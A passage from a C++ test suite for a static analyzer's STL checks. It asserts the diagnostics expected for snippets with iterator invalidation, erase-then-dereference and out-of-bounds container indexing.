std::map::iterator iter;\\n\"\n \" iter = ints.begin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n\n // Reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::reverse_iterator iter;\\n\"\n \" iter = ints.rbegin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n void dereference_auto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" auto iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:27] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto x = *myList.begin();\\n\"\n \" myList.erase(x);\\n\"\n \" auto b = x.first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const CXXRecordDecl *CXXRecordDecl::getTemplateInstantiationPattern() const {\\n\"\n \" if (auto *TD = dyn_cast(this)) {\\n\"\n \" auto From = TD->getInstantiatedFrom();\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void STLSize() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:11]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.length(); ++ii) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" do {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" ++i;\\n\"\n \" } while(ii <= foo.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (anything()) {\\n\"\n \" } else if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(1);\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" int ii = 0;\\n\"\n \" foo[ii] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for (B b : D()) {}\\n\" // Don't crash on range-based for-loop\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() + 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", \"\", errout_str());\n }\n\n void STLSizeNoErr() {\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii < foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" if (ii == foo.size())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:11:16]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n {\n check(\"void f(const std::map &data) {\\n\"\n \" int i = x;\"\n \" for (int i = 5; i <= data.size(); i++)\\n\"\n \" data[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() - 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void negativeIndex() {\n check(\"void f(const std::vector &v) {\\n\"\n \" v[-11] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (error) Array index -11 is out of bounds. [negativeContainerIndex]\\n\", errout_str());\n\n check(\"int f(int x, const std::vector& a) {\\n\"\n \" if (!(x < 5))\\n\"\n \" return a[x - 5];\\n\"\n \" else\\n\"\n \" return a[4 - x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::array values;\\n\"\n \"int get_value();\\n\"\n \"int compute() {\\n\"\n \" int i = get_value();\\n\"\n \" if( i < 0 || i > 5)\\n\"\n \" return -1;\\n\"\n \" int sum = 0;\\n\"\n \" for( int j = i+1; j < 7; ++j)\\n\"\n \" sum += values[j-1];\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int g() { return 0; } };\\n\" // #11831\n \"struct C {\\n\"\n \" int h() const { return b->g(); }\\n\"\n \" B* b;\\n\"\n \"};\\n\"\n \"struct O {\\n\"\n \" int f() const;\\n\"\n \" std::vector v;\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"int O::f() const { return v[c.h() - 1]; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #13196\n \" if (v.empty())\\n\"\n \" return;\\n\"\n \" int idx = -1;\\n\"\n \" for (int i = 0; i < v.size(); ++i) {\\n\"\n \" idx = i;\\n\"\n \" }\\n\"\n \" (void)v[idx];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n const auto oldSettings = settings; // TODO: get rid of this\n settings.daca = true;\n\n check(\"void f() {\\n\"\n \" const char a[][5] = { \\\"1\\\", \\\"true\\\", \\\"on\\\", \\\"yes\\\" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n settings = oldSettings;\n }\n\n void negativeIndexMultiline() {\n setMultiline();\n const auto oldSettings = settings; // TODO: get rid of this\n settings.verbose = true;\n\n check(\"bool valid(int);\\n\" // #11697\n \"void f(int i, const std::vector& v) {\\n\"\n \" if (!valid(i))\\n\"\n \" return;\\n\"\n \" if (v[i]) {}\\n\"\n \"}\\n\"\n \"void g(const std::vector& w) {\\n\"\n \" f(-1, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: warning: Array index -1 is out of bounds. [negativeContainerIndex]\\n\"\n \"[test.cpp:8:8]: note: Calling function 'f', 1st argument '-1' value is -1\\n\"\n \"[test.cpp:3:9]: note: Assuming condition is false\\n\"\n \"[test.cpp:5:9]: note: Negative array index\\n\",\n errout_str());\n\n settings = oldSettings;\n }\n\n void erase1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:7:5] -> [test.cpp:8:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" std::list::iterator i = ints.begin();\\n\"\n \" i = ints.erase(i);\\n\"\n \" *i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator i;\\n\"\n \" while (i != x.y.end())\\n\"\n \" i = x.y.erase(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2101\n check(\"void f(vector< std::list > &ints, unsigned int i)\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for(it = ints[i].begin(); it != ints[i].end(); it++) {\\n\"\n \" if (*it % 2)\\n\"\n \" it = ints[i].erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase2() {\n check(\"static void f()\\n\"\n \"{\\n\"\n \" for (iterator it = foo.begin(); it != foo.end(); it = next)\\n\"\n \" {\\n\"\n \" next = it;\\n\"\n \" next++;\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase3() {\n check(\"static void f(std::list &foo)\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" foo.erase(it->a);\\n\"\n \" if (it->b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it, it2;\\n\"\n \" for (it = foo.begin(); it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" for (; it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(++it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list foo;\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 123)\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5] -> [test.cpp:8:22]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase6() {\n check(\"void f() {\\n\"\n \" std::vector vec(3);\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator itEnd = vec.end();\\n\"\n \" for (it = vec.begin(); it != itEnd; it = vec.begin(), itEnd = vec.end())\\n\"\n \" {\\n\"\n \" vec.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseBreak() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (x) {\\n\"\n \" foo.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n }\n\n void eraseContinue() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator jt = ints.begin();\\n\"\n \" for (it = ints.begin(); it != ints.end(); it = jt) {\\n\"\n \" ++jt;\\n\"\n \" if (*it == 1) {\\n\"\n \" jt = ints.erase(it);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map my_map) {\\n\" // #7365\n \" std::map::iterator itr = my_map.begin();\\n\"\n \" switch (itr->first) {\\n\"\n \" case 0:\\n\"\n \" my_map.erase(itr);\\n\"\n \" continue;\\n\"\n \" case 1:\\n\"\n \" itr->second = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1) {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (somecondition) {\\n\"\n \" if (*it == 1)\\n\"\n \" foo.erase(it);\\n\"\n \" else\\n\"\n \" *it = 0;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (a) {\\n\"\n \" if (b)\\n\"\n \" foo.erase(it);\\n\" // <- TODO: erase shound't cause inconclusive valueflow\n \" else\\n\"\n \" *it = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:5] -> [test.cpp:7] -> [test.cpp:8] -> [test.cpp:8] -> [test.cpp:7] -> [test.cpp:5] -> [test.cpp:9] -> [test.cpp:3] -> [test.cpp:5]: (error) Using iterator to local container 'foo' that may be invalid.\\n\",\n \"[test.cpp:5:24] -> [test.cpp:7:13] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:7:13] -> [test.cpp:5:31] -> [test.cpp:9:21] -> [test.cpp:3:22] -> [test.cpp:5:28]: (error, inconclusive) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void eraseGoto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" goto abc;\\n\"\n \" }\\n\"\n \"bar:\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" it = foo.begin();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign2() {\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" for (std::list::iterator it = ints.begin(); it != ints.end();) {\\n\"\n \" if (*it == 123) {\\n\"\n \" std::list::iterator copy = it;\\n\"\n \" ++copy;\\n\"\n \" ints.erase(it);\\n\"\n \" it = copy;\\n\"\n \" } else {\\n\"\n \" it->second = 123;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign3() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list >::const_iterator i = l.begin();\\n\"\n \" std::list::const_iterator j = (*i).begin();\\n\"\n \" cout << *j << endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign4() {\n check(\"void f(std::list data) {\\n\"\n \" std::list::const_iterator it = data.begin();\\n\"\n \" it = data.erase(it);\\n\"\n \" it = data.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(Data data) {\\n\"\n \" std::list::const_iterator it = data.ints.begin();\\n\"\n \" it = data.ints.erase(it);\\n\"\n \" it = data.ints.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssignByFunctionCall() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list::const_iterator i;\\n\"\n \" bar(i);\\n\"\n \" cout << *i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseErase() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" ints.erase(iter);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:1] -> [test.cpp:4] -> [test.cpp:5] -> [test.cpp:1] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:1:31] -> [test.cpp:4:22] -> [test.cpp:5:10] -> [test.cpp:1:27] -> [test.cpp:6:16]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void eraseByValue() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::set foo;\\n\"\n \" for (std::set::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(*it);\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterator 'it' becomes invalid when deleted by value from 'foo'\\n\", \"\", errout_str());\n\n check(\"int f(std::set foo) {\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \" return *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:3:5]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::set foo)\\n\"\n \"{\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5669\n check(\"void f() {\\n\"\n \" HashSet_Ref::iterator aIt = m_ImplementationMap.find( xEle );\\n\"\n \" m_SetLoadedFactories.erase(*aIt);\\n\"\n \" m_SetLoadedFactories.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*aIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Invalid iterator: aIt [invalidIterator1]\\n\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" std::list::iterator bIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*bIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIf() {\n // #4816\n check(\"void func(std::list strlist) {\\n\"\n \" for (std::list::iterator str = strlist.begin(); str != strlist.end(); str++) {\\n\"\n \" if (func2(*str)) {\\n\"\n \" strlist.erase(str);\\n\"\n \" if (strlist.empty())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:26]: (error) Iterator 'str' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void eraseOnVector() {\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" v.erase(something(unknown));\\n\" // All iterators become invalidated when erasing from std::vector\n \" v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:13]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" std::vector::iterator bIt = v.begin();\\n\"\n \" v.erase(bIt);\\n\" // All iterators become invalidated when erasing from std::vector\n \" aIt = v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:4:7] -> [test.cpp:1:26] -> [test.cpp:5:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback1() {\n check(\"void f(const std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:32] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" {\\n\"\n \" int *it = &foo[0];\\n\"\n \" *it = 456;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" ints.push_back(1);\\n\"\n \" int *first = &ints[0];\\n\"\n \" ints.push_back(2);\\n\"\n \" *first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:6]: (error) Using pointer to local variable 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator i;\\n\"\n \"\\n\"\n \" for (i=v.begin(); i!=v.end(); ++i)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"\\n\"\n \" for (i=rhs.v.begin(); i!=rhs.v.end(); ++i)\\n\"\n \" {\\n\"\n \" v.push_back(*i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback6() {\n // ticket #735\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(1);\\n\"\n \" v.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" vector.push_back(1);\\n\"\n \" vector.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback7() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); it++)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback8() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator end = ints.end();\\n\"\n \" ints.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" unsigned int sum = 0;\\n\"\n \" for (it = ints.begin(); it != end; ++it)\\n\"\n \" 